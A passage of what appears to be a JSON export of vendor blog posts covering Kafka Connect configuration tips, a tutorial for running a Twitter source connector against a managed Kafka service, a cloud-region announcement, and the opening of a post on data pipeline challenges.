the integration problem we’re trying to solve and read their instructions carefully to evaluate their usage for our case.\n\nNow, it’s officially time to start with the tips!\n\n## Tip #1: Prepare the data landing ground\nLike magicians use their hats to store rabbits for their tricks, we need to prepare a soft cushion for our data to land properly. Whether we’re sourcing or sinking data from Apache Kafka®, we should pre-create all the data structures needed to receive the data.\n\nMost of the time, we will be offered some shortcuts in the form of `auto_create_topics_enable`, `auto.create` and `auto.evolve`, delegating to Apache Kafka® Connect the target topic or table creation. However, by doing so we lose control of these artifacts, which could generate problems on the downstream data pipelines. For instance, Kafka Connect will generate a topic with default partition count, or tables without the partitioning you have in mind. Therefore the suggestion is: read the documentation carefully and pre-create the necessary landing spots accordingly.\n\nIf, after reading the documentation, we’re still unsure where the data will land, then we can create a test environment, enable `auto_create_topics_enable` or `auto.create` and take note of which artifacts are created so we can properly define them in production.\n\n## Tip #2: Evaluate the benefits, limits and risks of the various connectors\nLike magicians needing to learn all the spells to perform tricks, we need to gather similar knowledge of the Apache Kafka® Connect space. As mentioned above, Kafka Connect is an amazing and wide space, with different connectors solving similar problems in slightly different methods.\n\nPart of working successfully with Kafka Connect is understanding what possible connectors are solving the integration problem we are facing, understanding the benefits, their technical and licensing limits and related risks. Once we have a clear map of the options, we can choose the best one for our needs.\n\nA practical example; to source database data into Apache Kafka® we have two choices: a polling mechanism based on [JDBC queries](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg.html) or the [Debezium](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) push mechanism. Both seem valid alternatives, but when you start pushing the boundaries the [JDBC solution shows its limits](https://www.confluent.io/events/kafka-summit-london-2022/jdbc-source-connector-what-could-go-wrong/). Knowing the limits of a solution will help us make a better choice.\n\n## Tip #3: Check the pre-requisites\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ff2955961f12be4d17a5e2088b52bbf9d826b68f-1875x1042.png)\n\nMagicians need to check they have all the listed ingredients for their potions. To build a successful connector, we need to take the same care in validating that all the prerequisites are satisfied!\n\nFirst of all, Apache Kafka® Connect is Java-based, therefore to run a specific connector we need to put all the required **JAR dependencies** in exactly the right folder (check out the [case for Twitter](https://aiven.io/blog/connecting-twitter-to-aiven-for-apache-kafka)). This is quite a task by itself and is where using managed platforms like [Aiven for Apache Kafka® Connect](https://aiven.io/kafka-connect) can help by removing the friction.\n\nOnce dependencies are sorted, we still need to properly test that everything we need is there:\n\n- Check the **network paths**: can we ping the database? is the [Google Cloud Storage accessible from the Kafka Connect](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector) cluster?\n\n- Evaluate the **credentials and privileges**: can the user login? can it read from the table or write to the S3 bucket?\n\n- Validate that **required objects** are in place: is the target S3 bucket already in place? What about the database replication needed by [Debezium](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)?\n\nEnsuring we have all the bits and pieces in place before starting the connector will provide a smoother experience. The last thing we want is to lose two hours of time checking the connector configuration when the problem is that there’s no network connectivity between our endpoints.\n\n### Special mention: data formats\nData formats is a topic commonly overlooked, but, if not done right, can have huge implications in the downstream pipeline.\n\nWhen using the default configurations, most of the source connectors push data to Apache Kafka® topics in JSON format. This approach works for the majority of data pipelines but there’s an exception: the lack of a properly defined schema means that we’ll not be able to sink data to technologies, like relational databases, where understanding the data structure is required. We’ll face the error `No fields found using key and value schemas for table` and, as of today, there are no workarounds to make such a connector work.\n\nThe tip is to use data formats that specify schemas every time it is possible. From a connector configuration standpoint, this means adding some lines of code (check the `key.converter` and `value.converter` in the [Debezium example](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)) to make use of tools like [Karapace](https://aiven.io/docs/products/kafka/karapace.html) to store key and value schemas.\n\nOnce we have the schema properly defined during data ingestion in Apache Kafka®, we can use the same schema registry functionality to let the sink connector understand the data shape and push it to any of the downstream technologies, whether they require a schema or not.\n\n## Tip #4: Reshape the message payload\nApache Kafka® Connect provides the magical ability to change the data shape while sourcing/sinking. The power is given by the **Single Message Transformations** (SMT), enabling us to reshuffle the data in several different ways including:\n\n- **Filtering**: pass only a subset of the incoming dataset\n\n- **Routing**: send different events to separate destinations based on particular field values\n\n- **Defining Keys**: define the set of fields to be used as event key (this will be discussed more in-depth later)\n\n- **Masking**: obfuscate or remove a field, useful for PII (Personally Identifiable Information) data\n\nSMTs are a very powerful [swiss army knife](https://www.morling.dev/blog/single-message-transforms-swiss-army-knife-of-kafka-connect/) to customize the shape of the data during the integration phase.\n\n## Tip #5: Define the keys to drive data partitioning and lookups\nKeys are used in Apache Kafka® to define partitioning, and in the target system to perform lookups. When defined properly, keys drive performance benefits both when sourcing (parallel writes to partitions) and sinking (e.g. partition identification in database tables).\n\nIt is therefore very important to analyze and accurately define the keys to achieve better and correct performance (ordering in Apache Kafka® is guaranteed only within a partition). In her blog, Olena dives deep into [how to balance your data across partitions](https://aiven.io/developer/balance-data-across-kafka-partitions) and the tradeoffs you might encounter when selecting the best partitioning strategy.\n\n## Tip #6: Increase the connector’s robustness\nTo strengthen our Apache Kafka® Connect magic powers, we need to make our connectors more robust and less vulnerable to errors. Testing the performance, understanding bottlenecks, and continuously monitoring and improving our pipelines are a few of the “evergreen” suggestions that can also be applied in this space. There are also a couple of detailed tips that could possibly save us from specific failures.\n\n### Reduce the amount of data in flight\nAlmost every connector allows the definition of the data collection/push frequency. Sinking data to a target environment once per day means that the connector needs to hold all the daily dataset; if the data volume becomes too big, the connector could crash forcing us to restart the process and therefore adding delay to the pipeline. Writing **less data more often** can mitigate the risk, we need to find the right balance between frequency and “batch” size.\n\n### Parallelize the load to increase performance and reduce risk\nKafka Connect has the concept of tasks that can be used to parallelize the load.\n\nAs an example, if we need to source 15 tables from a database, having a single connector with a single task to carry all the load could be a dangerous choice. Instead, we could distribute the data ingestion, either by defining one connector with 15 tasks, or 15 different connectors with a single task depending on our needs.\n\nParallelizing the work helps both in increasing performance and in reducing risks related to a single point of failure.\n\n## Tip #7: Know how to debug\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2f357752418673c94a1acd7b9f1c92007a2bb853-1875x938.png)\n\nNobody becomes an Apache Kafka® Connect magician without mistakes; we’ll hardly nail every setting on the first attempt. Our work is to understand what is wrong and fix it. A couple of general hints to have a successful experience:\n\n- Check the **logs**: logs are the source of truth. The error description contained in the logs can help us understand the nature of the problem and give us hints on where to look.\n\n- Browse for a **solution**: the internet will provide plenty of fixes to a specific error message. We need to take time and understand carefully if the suggested fix applies to our situation. We can’t assume a solution is valid only because the error message posted is similar.\n\nSince Kafka is a relatively new tech, we could also face a situation where nobody seems to have had the same error before us. However, in that case, a second look at the logs and a read of the connector code might take us to a solution… that’s the beauty of Open Source!\n\n### The error tolerance and automatic restart\nThe **error tolerance** defines how many parsing mistakes we can accept before having the connector fail. The two options are `none` where Kafka connect will crash on the first error, and `all` where the connector will continue running even if none of the messages can be understood.\n\nA middle ground is represented by the **dead letter queue**, a topic where we will receive all the erroring messages. The dead letter queue is a great way to make the connector more robust to single message errors but, if used, needs to be actively monitored. The last thing we want is to discover, one year later, 200.000 unparsed messages in our `orders` topic because of a silly formatting error.\n\nRelated to the tolerance, another useful parameter is **automatic restart**, allowing us to try reanimating a crashed connector. Setting it on can be a good way to rescue our connector from transient errors but will not save us in cases where our configuration is just wrong.\n\n## Tip #8: Keep the evolution trace\nThe concept of a “spell book” translates really well to Apache Kafka® Connect and approaching the connector configuration with an iterative method can take us a long way.\n\nFirst, we need to read the set of configurations available, then analyze what parameters are necessary and keep our connector configs as simple as possible to build a minimal integration example that can be evolved over time.\n\nLinked with the above, it’s also worth spending time on properly setting up a version control system for the configuration and automating the deployment as much as possible. This approach will save us time when needing to revert non-working changes and reduce the risk of human errors during deployment. [Apache Kafka® Connect REST APIs](https://kafka.apache.org/documentation/#connectapi) or tools like the [Aiven Client](https://aiven.io/docs/tools/cli/service/connector.html), [Aiven Terraform Provider](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-connect-terraform-recipe.html) or [kcctl](https://github.com/kcctl/kcctl) can help in the automation process.\n\n## Making the integration magic\nUnderstanding Apache Kafka® Connect’s dark magic can be overwhelming at first sight; but by browsing its ecosystem, reading the various connectors' documentation, and listening to the above tips we can start using our new wizardry to build fast scalable, and resilient streaming data pipelines.\n\nSome more resources to get you started:\n\n- [Aiven for Apache Kafka® Connect](https://aiven.io/kafka-connect): don’t lose time setting up the Kafka Connect cluster, focus on creating the integration instead\n\n- How To Guides for [Source](https://aiven.io/docs/products/kafka/kafka-connect/howto/list-source-connectors.html) and [Sink](https://aiven.io/docs/products/kafka/kafka-connect/howto/list-sink-connectors.html) Connectors: check prebuilt integration examples for all the major connectors\n\n- [Twitter example](https://aiven.io/blog/connecting-twitter-to-aiven-for-apache-kafka): check out how to self-host a Kafka Connect cluster to run any connector you need, while still benefitting from a managed Apache Kafka® cluster\n\n- [Does Apache Kafka® really preserve message ordering?](https://aiven.io/blog/kafka-real-ordering)\n\n::banner[Integrate your existing data sources and sinks with Apache Kafka®.]{ctaText=\"How does it work?\" ctaLink=\"https://aiven.io/kafka-connect\" title=\"Aiven for Apache Kafka® Connect\" theme=\"dark\"}\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n","categories":[{"_key":"c7608d34c250","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"f7baac919c10","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"f4236186359f","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Apache Kafka® Connect configuration options","asset":{"_ref":"image-bb4f4ac890b0d208706860d8bfc0205c70f77a12-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-29T10:33:56.742Z","related":[{"_key":"63b2f846668f","_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},{"_key":"e15c5204e125","_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka® Connect configuration often feels like dark magic. These tips can ease your Kafka Connect experience in creating a reliable streaming pipeline!","metaTitle":"Get your Apache Kafka® Connect Configuration right | Aiven"},"slug":{"_type":"slug","current":"/blog/8-tips-to-speed-up-apache-kafka-connect-development"},"subtitle":"Apache Kafka® Connect configuration might seem like dark magic at times. Read on to learn a few tips and take your developer experience to the next level. ","title":"8 tips to speed up Apache Kafka® Connect development "}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1td7K8mcJVhl60ZTT80SIr","_rev":"0bD0yWvurDucdXi3F3JLNt","_type":"post","_updatedAt":"2024-09-25T09:02:42Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Use your own connector with Aiven for Apache Kafka® - the Twitter source example\n\nApache Kafka® is representing the central data backbone for more and more companies, with the rich Apache Kafka® Connect ecosystem offering different plugins allowing an easy integration of Kafka with a huge variety of technologies. \n\nWhen self-hosting Apache Kafka, any open source connector plugin can be taken into use by finding the right jars and configuration options. The situation changes when using a managed service: even if the list of supported plugins can be amazing (check out [all the ones Aiven provides](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)), you might not find the particular `sink-to-obscure-datatech` one you were looking for. Still, Aiven accepts suggestions and evaluates continuously new connector plugins to include in the list, so, if you identify an important miss, feel free to suggest! \n\nAnother option on the table is to create a self-managed Apache Kafka® Connect cluster and connect it to Aiven for Apache Kafka. In this way you can get the freedom to pick any open source connector, while still benefitting from the managed Kafka service that Aiven offers. You can read an example of the process in [our developer portal](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html), and in this blog post we'll go through the steps required to start using one of the best connectors in town, the one probably used by 90% of new learners: the [Twitter source connector](https://github.com/jcustenborder/kafka-connect-twitter).\n\n### Create the Apache Kafka cluster\n\nLet's quickly cover this piece, using the [Aiven CLI](https://aiven.io/docs/tools/cli.html) and the dedicated `service create` function. You can read all the parameters available in the [dedicated page](https://aiven.io/docs/tools/cli/service.html#avn-service-create) and also find the list of all the [advanced customisation parameters](https://aiven.io/docs/products/kafka/reference/advanced-params.html) Aiven offers. For the aim of the blog post we'll use the following:\n\n```\navn service create demo-kafka               \\\n    --service-type kafka                    \\\n    --cloud google-europe-west3             \\\n    --plan business-4                       \\\n    -c kafka.auto_create_topics_enable=true \\\n    -c kafka_rest=true \n```\n\nThe above command creates an Aiven for Apache Kafka instance named `demo-kafka` with a juicy `business-4` plan over the `google-europe-west3` region. We are also enabling the automatic creation of topics and REST APIs, which we'll use towards the end to check the data landing in the topic.\n\nWhile the service is starting, we can already generate the [Java keystore and truststore](https://aiven.io/docs/products/kafka/howto/keystore-truststore) that will be used to integrate the local Apache Kafka Connect cluster to the `demo-kafka` service. \nWe can create both stores with the following Aiven CLI command:\n\n```\navn service user-kafka-java-creds demo-kafka \\\n    -d certsfolder                           \\\n    -p STOREPASSWORD123                      \\\n    --username avnadmin\n```\n\nThe above will download the required certificates in a folder named `certsfolder` and create in the same folder a keystore file named `client.keystore.p12` and a truststore named `client.truststore.jks`, all secured with a (not so secure) password `STOREPASSWORD123`. You might want to review the [dedicated developer portal document](https://aiven.io/docs/products/kafka/howto/keystore-truststore) if you're keen on setting different secrets to secure the stores and keys.\n\n### Create a self-managed Apache Kafka Connect cluster\n\nNow it's time to use our shell skills, the only prerequisite is to have a JDK installed. Let's start by getting the Apache Kafka binaries, we'll download the `3.1.0` version\n\n```\nwget https://dlcdn.apache.org/kafka/3.1.0/kafka_2.13-3.1.0.tgz\n```\n\nThen we can unpack it\n\n```\ntar -xzf kafka_2.13-3.1.0.tgz \n```\n\nAnd this will create a folder called `kafka_2.13-3.1.0` containing all the Apache Kafka goodies.\n\n#### Add the Twitter source connector dependencies\n\nTo start fetching twitter data, we can use the [dedicated open source connector](https://github.com/jcustenborder/kafka-connect-twitter). We can  fetch the related code with:\n\n```\nwget https://github.com/jcustenborder/kafka-connect-twitter/releases/download/0.2.26/kafka-connect-twitter-0.2.26.tar.gz\n```\n\nAnd unpack the tar file\n\n```\nmkdir twitter-connector \ntar -xvf kafka-connect-twitter-0.2.26.tar.gz -C twitter-connector\n```\n\nThe above command will unzip the tar file into a folder called `twitter-connector` which contains a subfolder `usr/share/kafka-connect/kafka-connect-twitter` containing all the files the Apache Kafka Connect cluster needs to load. We can move them to a `plugin` subfolder within the `kafka_2.13-3.1.0` folder.\n\n```\nmkdir kafka_2.13-3.1.0/plugins\nmv twitter-connector/usr/share/kafka-connect/kafka-connect-twitter kafka_2.13-3.1.0/plugins/lib\n```\n\n#### Define the Apache Kafka Connect configuration file\n\nNow it's time to define a configuration file to make the local Kafka Connect cluster point to Aiven for Apache Kafka. We can use the [developer portal template](https://github.com/aiven/devportal/blob/main/code/products/kafka/my-connect-distributed.properties) to create a file named `my-connect-distributed.properties` and substitute:\n\n* `PATH_TO_KAFKA_HOME` to the directory containing the Apache Kafka binaries\n* `APACHE_KAFKA_HOST:APACHE_KAFKA_PORT` with the `demo-kafka` hostname and port that we can get with\n\n```\navn service get demo-kafka --format '{service_uri}'\n```\n\n* `TRUSTSTORE_PATH` and `KEYSTORE_PATH` with the path to the folder containing the keystore and truststore files (`certsfolder` if you used the command defined in the previous section)\n* `KEY_TRUST_SECRET` with the keystore and truststore secret (`STOREPASSWORD123` if you used the command defined in the previous section)\n\n#### Start the local Connect cluster\n\nWith the configuration and all the required files in place we start the local Apache Kafka Connect cluster with:\n\n```\n./kafka_2.13-3.1.0/bin/connect-distributed.sh ./my-connect-distributed.properties\n```\n\n### Setup the Twitter access \n\nNow that the Apache Kafka Connect cluster is up and running, we can head to the **Developer Portal** at [Twitter's developer portal page](https://developer.twitter.com/) to create a new application that will provide us the credentials required for the connector to start sourcing tweets.\n\n1. In the main dashboard page we can create a new project using the v2 endpoints. For the project we need to specify:\n\n   * the project **name**\n   * the use case between a variety of options including *Exploring the API*, *Making a bot* or *Building a consumer tool*, we can chose between one of the options available that fits our purpose\n   * the project description, we can give an abstract of our purpose\n   * define if we are going to use an existing app or create a new. Since we're new to Twitter APIs we'll create a new app\n\n2. In the *App Setup* section we can define our new app settings:\n\n   * the app **environment**, for the blog post purposes we can select *Development*\n   * the app **name**, giving the app a memorable name allows us to backtrack what's the app used for, a name like `app123` will hardly be recognizable. We can call it `twitter-kafka-connect-\u003cSUFFIX\u003e` where `\u003cSUFFIX\u003e` needs to be a unique identifier (every app name needs to be unique).\n   * the app **keys and tokens**, we can generate and retrieve the needed keys. We need to copy from this section the **API Key** and **API Key Secret** that we'll later use in the Apache Kafka connector setup (we'll reference them as `TWITTER_API_KEY` and `TWITTER_API_SECRET`).\n\n   When everything is setup, select **App Settings** and we should see a screen like the following telling us the app and project have successfully been built.\n\n   ![Twitter App and Project build](//cdn.sanity.io/images/sczeoy4w/production/059e6c82eb846d62ddf16c8a284a8b684785e7c9-1314x1025.jpg)\n\n3. Now we can head to the **Keys and tokens** tab where we can generate (or regenerate) the additional secrets required for the connector to work. \n\n4. Generate the Access Token and Secret that we'll reference further down in the blog\n\n   * Access Token: `TWITTER_ACCESS_TOKEN`\n   * Access Token Secret: `TWITTER_ACCESS_TOKEN_SECRET`\n\n5. The last setting in the Twitter developer portal is to request **Elevated** access for our project. Since Twitter API v2 was released, the default (**Essential**) access only allows interacting with v2, while the Apache Kafka connector we'll adopt still uses the v1. We can request the Elevated access by clicking on the main project name and on the button \"Apply for Elevated\". We would need to fill some information including the coding skill level and the project description and agree to the Developer Agreement. The request is officially checked by Twitter, and if everything goes well, we should soon have an elevated account ready, although sometimes it might take a couple of hours.\n\n#### Create a source connector configuration file\n\nWe can write the twitter secrets fetched above in a configuration file named `twitter-source.json` with the following content\n\n```\n{\n    \"name\":\"twitter_connector\",\n    \"config\":\n        {\n            \"tasks.max\":\"1\",\n            \"connector.class\":\"com.github.jcustenborder.kafka.connect.twitter.TwitterSourceConnector\",\n            \"process.deletes\":\"false\",\n            \"filter.keywords\":\"database\",\n            \"kafka.status.topic\":\"twitter-topic\",\n            \"twitter.oauth.consumerKey\":\"TWITTER_API_KEY\",\n            \"twitter.oauth.consumerSecret\":\"TWITTER_API_SECRET\",\n            \"twitter.oauth.accessToken\":\"TWITTER_ACCESS_TOKEN\",\n            \"twitter.oauth.accessTokenSecret\":\"TWITTER_ACCESS_TOKEN_SECRET\"\n        }\n}\n```\n\nThe following are the customizable parameters:\n\n* `\"process.deletes\":\"false\"`: for simplicity we are not going to process tweet deletions\n* `\"filter.keywords\":\"database\"`: we are filtering for tweets containing the `database` keyword, you can modify it to filter only the tweets you are interested in. The suggestion is to replace it with something topical at the moment of reading, that will occur in tweets so that data will show up in Apache Kafka.\n* `\"kafka.status.topic\":\"twitter-topic\"`: the target topic is going to be named `twitter-topic`\n* The `twitter.oauth` parameter values need to be changed with the twitter secrets fetched in the previous step\n\n#### Start the Twitter source connector\n\nAll the pieces are in place now, it's therefore time to start the connector using the [Apache Kafka REST API](https://kafka.apache.org/documentation.html#connect_rest) with:\n\n```\ncurl -s -H \"Content-Type: application/json\" -X POST   \\\n    -d @twitter-source.json                           \\\n    http://localhost:8083/connectors/\n```\n\n#### Check the output in Apache Kafka\n\nThe above `curl` command uses the `connectors` REST endpoint passing the connector configuration file `twitter-source.json`. We should now see the tweets containing ``apachekafka`` flowing in the ``twitter-topic`` Apache Kafka topic. Since we enabled Karapace REST APIs, we can review the topic data by accessing the [Aiven Console](https://console.aiven.io/), clicking on the `demo-kafka` service name, under the *Topic* tab. \n\n![Tweets about databases as shown in the Aiven console](//cdn.sanity.io/images/sczeoy4w/production/74da099db6ce98edfefc2cf20c7032954db19db5-1330x1233.jpg)\n\nKeep in mind that this is a streaming solution, so you'll see data in the topic only if tweets containing the keyword you defined are written. If you want to test the connector, write a tweet yourself containing the keyword!\n\nBig news: we are now using an Apache Kafka® Connector plugin not supported by Aiven with Aiven for Apache Kafka! We'll have the burden of managing the Apache Kafka Connect cluster, but that might be the optimal option in case our source/target technology is not supported with any of the [available connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html).\n\nQuick Tip: If you need to change the connector configuration you might need to delete the connector first with\n\n```\ncurl -s -X DELETE http://localhost:8083/connectors/twitter_connector\n```\n\nAnd then send the updated configuration file using the ``curl`` command with the ``PUSH`` option specified before.\n\n### Managed Apache Kafka services and freedom of connector plugins selection\n\nManaging full Apache Kafka clusters can be a tedious job and using a managed service like Aiven for Apache Kafka is usually a sensible idea. For peculiar use cases, you might find that the configuration or connector you're looking for is not supported by Aiven. But don't despair: you can easily integrate a local Apache Kafka Connect cluster solving your particular integration problem with Aiven for Apache Kafka and benefit both from an overall Apache Kafka managed solution and a wild selection of open source connectors.\n\nCheck out the following resources to know more:\n\n* List of the [supported Apache Kafka Connect plugins](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)\n* List of the [Aiven for Apache Kafka advanced configuration parameters](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n* The [Twitter source connector documentation](https://github.com/jcustenborder/kafka-connect-twitter)\n* A detailed article on how to [setup a local JDBC sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html)\n\n\n## Further reading\n\n- [Aiven open sources Google Cloud Storage Kafka connector](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345-png","_type":"reference"}},"publishedAt":"2022-05-24T00:00:00.000Z","seo":{"metaDescription":"What if Aiven doesn't provide the Apache Kafka® connector you want? Read on to learn how to use an external connector, to gather Twitter messages into Kafka.","metaImage":{"alt":"","asset":{"_ref":"image-d96781cd048514f0d82e6292d8b45eb9e61ead94-640x345-png","_type":"reference"}},"metaTitle":"Use your own connector with Twitter and Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/connecting-twitter-to-aiven-for-apache-kafka"},"subtitle":"What if Aiven doesn't provide the Apache Kafka® connector you want? Read on to learn how to use an external connector, to gather Twitter messages into Kafka.","title":"Use your own connector with Twitter and Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6RiHgD15cKhrH5S9Z87Ve9","_rev":"ejVwHgKe5k9eDWbchrrOCo","_type":"post","_updatedAt":"2024-07-09T13:51:45Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're proud to announce that Aiven, the next generation cloud database service platform is now available in UpCloud's datacenters.\n\nUpCloud Ltd is a European cloud hosting company selling highly performant cloud services. See [upcloud.com](https://upcloud.com/) for more information.\n\nThe new Aiven regions that are immediately available are EU Finland (UpCloud), EU Germany (UpCloud), EU England (UpCloud) and US Illinois (UpCloud).\n\nAlong with the existing Aiven regions in Amazon Web Services and Google Cloud, this brings the current number of regions Aiven supports to seventeen.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\nIn the near future we'll also be adding DigitalOcean as a supported cloud provider.\n\nWe're always looking for feedback on what to improve so feel free to let us know if you have ideas on what you'd love to see us support next.\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-01-19T10:46:00.000Z","seo":{"metaDescription":"UpCloud is our latest cloud vendor. Find out which regions are immediately available and what our future plans entail for Aiven for PostgreSQL here.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® now available in UpCloud"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-now-available-in"},"subtitle":"UpCloud is our latest cloud vendor. Find out which regions are immediately available and what our future plans entail for Aiven for PostgreSQL here.","title":"Aiven for PostgreSQL® now available in UpCloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3XuqgtpVB8UTqnS5628RKC","_rev":"0bD0yWvurDucdXi3F3UuQf","_type":"post","_updatedAt":"2024-09-25T10:56:49Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"_What if you built a data pipeline, but couldn't connect to where your data was stored?_\n\n__Imagine:__ you're running an international hotel chain with thermostat data written to flat files in a S3 bucket, and energy consumption data logged to an accounting spreadsheet only accessible by accounts. _How could you correlate thermostat and energy consumption data to optimize?_\n\nOr, picture this: you're running a stock tracking site, but you can only batch import stock data from the previous day once every 24 hours? _Can any trader make accurate, well-timed decisions using your platform?_\n\nWhat if you're a mobile game developer monetizing game levels by tracking progress? Collecting a handful of SDK event code onto your commodity-hardware MySQL server under your desk works great for a few players, but _what if your game goes viral?_\n\nAnd what if you suddenly needed to collect and accommodate variable-length events such as when a player advances to the next level, and points are tallied with the player’s name, rank, and position, along with a timestamp?\n\n## Previous attempts (and lessons learned)\n\nNot long ago, these scenarios were common. Data from different sources went into separate silos that various stakeholders couldn't access. Data couldn't be viewed, interpreted or analyzed in transit. Data was almost exclusively processed in daily batches as in nowhere near real-time.\n\nData volume and velocity grew faster than a homespun pipeline was designed to handle. And data ingestion would often fail silently when the incoming events’ schema didn't match the backend’s, resulting in long and painful troubleshoot / restart cycles.\n\nAdding insult to injury, the data formats and fields kept changing with the race to meet ever-changing business needs. The result was predictable:\n\n\u003e Stale, inconclusive insights, unmanageable latency and performance bottlenecks, undetected data import failures, and wasted time! You need __to get your data where you want it__ so you have singular, canonical stores for analytics.\n\nAnalytics data was typically stored on-premise, in ACID-compliant databases on commodity hardware. This worked until you needed to scale your hardware and the available analytics and visualization tools no longer gave analysts what they needed.\n\nWhat's more, analysts were tied up with infrastructure maintenance, and growth-related chores like sharding and replication...this was without handling periodic software crashes and hardware failures.\n\nAlong with that homespun storage and management tools rarely get the same attention as the product, and it's difficult to justify the investment. However, whenever technical debt goes unaddressed, system stakeholders eventually pay the price.\n\n__Now, how you host and store your data is crucially important for reaching your data analytic goals:__ managed cloud hosting and storage can free up analysts from disaster cleanup, as well as the repetitive work of maintenance, sharding and replication.\n\n## The Seven Challenges\n\nA [data pipeline](https://aiven.io/glossary/what-is-a-data-pipeline) is any set of automated workflows that extract data from multiple sources. Most agree that a data pipeline should include _connection support_, _elasticity_, _schema flexibility_, _support for data mobility_, _transformation_ and _visualization_.\n\n[Modern data pipelines](https://aiven.io/blog/the-future-of-data-pipelines) need to accomplish at least two things:\n\n1. Define what, where, and how it's collected\n2. Automatically extract, transform, combine, validate and load it for further analysis and visualization.\n\n![A schematic of a modern data pipeline](https://cdn.sanity.io/images/sczeoy4w/production/c08bbde2408f10d35b8973161ea986036d883fd3-900x620.png)\n\n### 1. Getting your data where you want it\n\nTo get a complete picture from your data, you need to get it where you want it. What sense would it make if you imported sensor data, but isolated sales and marketing data? You could correlate and map trends from each data pool separately, but couldn’t draw insights from combined data.\n\n\u003e You'll want your tools to support connections to as many data stores and formats as possible, including unstructured data.\n\nThe challenge is finding out what data you need and how you’ll combine, transform, and ingest it into your system. Not to mention what the best data store and format is to store the data in.\n\n### 2. Hosting (and storing) your data\n\nYou'll need to be able to host your data, and have it live in a known format. You could take on the initial outlay, and maintenance costs and staff for an on-prem solution. However, if you decide to self-host, consider the following questions:\n\n1. Which operating system should I run? \n2. What are my memory / disk requirements?\n3. What storage is most appropriate?\n4. Do I want to build redundancy into my system?\n5. What performance considerations should my system have?\n6. Are there latency requirements?\n7. Am I batching historical analytical data, or do I need to access data in real time?\n\nOr, you could use a managed service with fixed costs. Self-hosting is a variable expense, but ultimately more expensive than a managed service. [Aiven](https://aiven.io/) provides fully-hosted and managed cloud databases and messaging services on all major cloud providers across all regions.\n\n### 3. Flexing your data\n\nEnterprises often build pipelines around extract, transform, load (ETL) processes that pose unique problems. A defect in one step of an ETL process can cascade into hours of intervention, affecting data quality, destroying consumer confidence, and making maintenance daunting.\n\nThey are also costly, static and only suited to particular data types, schemas, data sources and stores. These make them less desirable for analytics data, where flexible schemas are needed because a data source or event schema can change over time.\n\n\u003e You need to be able to __flex your data__ today: analytics data pipes must be elastic enough to accomodate all kinds of data with few constraints on schema or type.\n\nACID (atomic, consistent, isolated and durable) databases are the best choice for transactional data with a static schema. In the past, ACID databases were in on-premise, commodity hardware and used standard ETL tools to translate between data stores.\n\nAnalytics data is different; it’s analyzed in mass to understand larger trends. As your source applications and 